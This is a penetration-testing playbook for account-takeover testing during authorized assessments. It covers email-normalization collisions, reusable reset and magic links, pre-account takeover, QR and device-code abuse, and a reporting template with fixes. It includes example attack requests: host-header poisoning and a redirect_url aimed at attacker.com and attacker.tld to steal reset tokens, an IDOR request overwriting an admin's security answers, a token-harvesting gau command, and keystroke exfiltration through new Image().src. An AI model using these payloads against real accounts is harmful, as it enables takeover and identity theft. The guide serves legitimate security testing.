Performing Account Takeover Attacks

Performing Account Takeover Attacks

When to Use

• During authorized assessments of any authentication, registration, or account-recovery flow
• When testing password reset, email change, magic-link, or invite flows for token reuse and host-header poisoning
• When the app supports third-party SSO/OAuth/OIDC and may normalize emails differently than the IdP
• When testing cross-device login surfaces (desktop QR login, TV/device-code, "approve on your phone")
• When you have a limited XSS, CORS misconfig, CSRF, or subdomain takeover that could pivot into ATO

Prerequisites

• Authorization: Engagement scope covering authentication and at least two test accounts (attacker + victim) you own
• Burp Suite: For intercepting and replaying reset/verification requests and manipulating headers/responses
• Two browsers/profiles: To test session/link binding and reuse across contexts
• OOB infra: A domain you control for redirect/exfil tests and a webmail address for confusable-email tests
• gau / waybackurls: To hunt for additional reset/magic links in historical data

Critical: Variants Most Often Missed

ATO scanners check "can I brute force the password". The high-impact bugs live in the recovery and identity-binding logic. Test every variant below.

# 1. Unicode / normalization email collision (THE classic miss)
victim@gmail.com  vs  vićtim@gmail.com   # app normalizes AFTER binding the artifact
victim@ćompany.com                       # attack the DOMAIN part if IdP verifies local part
# Also compare DB collation vs SMTP vs OAuth/OIDC interpretation of the same mailbox.

# 2. Reusable / non-expiring reset or magic link
#    - works after an email change
#    - works from a 2nd browser/device/profile
#    - find more links via gau / wayback / scan.io

# 3. Pre-account-takeover
#    Register victim@x.com BEFORE they sign up; wait for them to confirm via OAuth.
#    Or: register + verify attacker@x.com, then change email to victim@x.com with
#    NO secondary verification -> verification bypass.

# 4. Password-reset / host-header poisoning
Host: attacker.com
X-Forwarded-For: attacker.com
Referer + Origin + Host all = attacker.com   # then use "resend email"

# 5. Response manipulation (boolean / status oracle)
#    Change 4xx -> 200 OK ; body -> {"success":true} or {}
#    Change auth response false -> true

# 6. Open redirect in magic-link redirect_url/next/return_to/callback
#    Land the post-login redirect on attacker origin first to steal token.

# 7. Session does not invalidate (old cookies keep working after logout / re-login).

# 8. QR / device-code login abuse (treat qrId/device_code like reset tokens):
#    unbound session, reusable codes (double login), predictable codes, weak approval context.

# 9. Privileged param in an authenticated flow:
#    "update security questions" takes a username param -> overwrite ANY account's recovery data.

Magic-link / passwordless probe:

POST /api/auth/magic-link HTTP/1.1
Host: target.tld
Content-Type: application/json

{"email":"victim@target.tld","redirect_url":"https://attacker.tld/callback"}

Security-question overwrite (IDOR in an authenticated reset flow):

POST /reset.php HTTP/1.1
Host: target.tld
Cookie: PHPSESSID=<low-priv-session>
Content-Type: application/x-www-form-urlencoded

username=admin&new_answer1=A&new_answer2=B&new_answer3=C

How to CONFIRM a hit (avoid false negatives)

• Email collision: you receive the victim's reset artifact / are logged in as the victim after submitting a confusable address. Confirm the session resolves to the victim's userId, not just a similar email string.
• Reusable link: the SAME token authenticates in a second browser, or still works after the victim changes their email/password — confirmed reuse.
• Pre-ATO: after the victim confirms via OAuth, your pre-set password still logs into their account.
• Response manipulation: forcing 200/{"success":true} actually advances the flow to an authenticated state (you reach a post-auth page or get a valid session cookie), not just a cosmetic UI change.
• QR/device-code: approving on one device authenticates a DIFFERENT browser, or the same code logs in twice.
• Always verify with a concrete post-auth action (read victim-only data, change a victim setting) and capture the victim userId/email from an authenticated response.

Workflow

Step 1: Map the Auth & Recovery Surface

Enumerate login, signup, password reset, email change, invite, SSO callback, and cross-device login endpoints. Note which artifacts are tokens vs links vs codes and where each is delivered (email, URL, fragment, JSON body).

Step 2: Test Email Normalization Collisions

# Create attacker account with a confusable of the victim address you control mail for
vićtim@yourmaildomain   (or victim+unicode variants)
# Drive forgot-password / email-change / invite with the confusable value
# Watch whether the artifact binds to your raw Unicode address but matches the victim row

Cross-check: does the backend send mail to the user-supplied address or to the canonical DB address? If user-supplied, it is usually exploitable.

Step 3: Attack Reset / Magic-Link Tokens

# Reuse: capture a valid reset link, then redeem it from a 2nd browser/device
# Persistence: redeem AFTER changing the account email
# Discovery: harvest stale links
gau target.example.com | grep -Ei "reset|token|magic|verify|confirm"

Verify single-use and browser/app binding by opening links across two browsers, webmail vs native mail, and browser vs native app.

Step 4: Host-Header & Response Manipulation

POST /api/forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-For: attacker.com

{"email":"victim@target.tld"}

If the reset email links to attacker.com/...?token=..., the victim clicking it leaks the token. Separately, intercept auth/verify responses and flip status/body (200 OK, {"success":true}) to test client-side trust.

Step 5: Pre-Account-Takeover & Verification Bypass

A) Register victim@x.com + set password. Wait for victim to sign up via OAuth.
   If regular signup is later "confirmed", your password may still work.
B) Register + verify attacker@x.com, then change email to victim@x.com.
   If no secondary verification on change, victim@x.com is now attacker-controlled.

Step 6: Cross-Device / QR Login Abuse

1. Start QR/device-code flow in the ATTACKER browser; capture the polling/status endpoint and qrId/device_code.
2. Reuse the same qrId/device_code from a SECOND browser or after first login completes (double login).
3. Swap session identifiers between two accounts; check if approval follows the CODE not the originating session.
4. Brute-force short/sequential qrId values; race parallel polling.
5. Replay a stale/redeemed code from the wrong context.

Step 7: Pivot From Other Bugs

Chain CORS misconfig (steal auth data), CSRF (force email/password change), XSS (steal cookies/localStorage; attribute-only login XSS can hook onkeypress and exfil keystrokes via new Image().src), or subdomain takeover + cookie fixation/tossing.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Unicode Email Collision

The app stores victim@gmail.com but a permissive collation matches vićtim@gmail.com. The reset token is bound to the raw attacker-supplied address, so the attacker receives a working reset for the victim's account.

Scenario 2: One-Click Email-Change Takeover

The attacker initiates an email change, receives the confirmation link, and sends it to the victim. When the victim clicks it, the victim's email is changed to the attacker's value; the attacker then resets the password and owns the account.

Scenario 3: QR Login Session Swap

A desktop QR login uses a reusable qrId. The attacker starts the flow, captures qrId, and tricks the victim into approving it; approval follows the code, authenticating the attacker's browser into the victim's account.

Output Format

## Account Takeover Finding

**Vulnerability**: Account Takeover via <variant, e.g. email-change verification bypass>
**Severity**: Critical (CVSS 8.8)
**Location**: POST /api/account/email  (email change flow)
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### Reproduction Steps
1. Register and verify attacker@test.com
2. Change account email to victim@test.com (no secondary verification sent)
3. Backend now treats victim@test.com as verified and attacker-controlled
4. Log out; request password reset for victim@test.com -> reset mail arrives in attacker mailbox
5. Authenticate as victim; confirmed via victim-only profile data (userId 4471)

### Evidence
| Step | Observation |
|------|-------------|
| Email change | 200 OK, no verification email to victim |
| Reset request | Token delivered to attacker mailbox |
| Post-auth | /api/me returns victim userId and PII |

### Impact
Full takeover of any account by email address, with no access to the victim's
mailbox required for the change step.

### Recommendation
1. Require re-verification (and current-password/2FA) on email change
2. Bind reset/magic-link tokens to a single use, short TTL, and the originating session/device
3. Build reset URLs from a server-side allowlisted host, never from request headers
4. Canonicalize emails consistently across UI, DB, SMTP, and IdP; reject confusables
5. Never trust client-side status/body for auth decisions; invalidate sessions on logout and credential change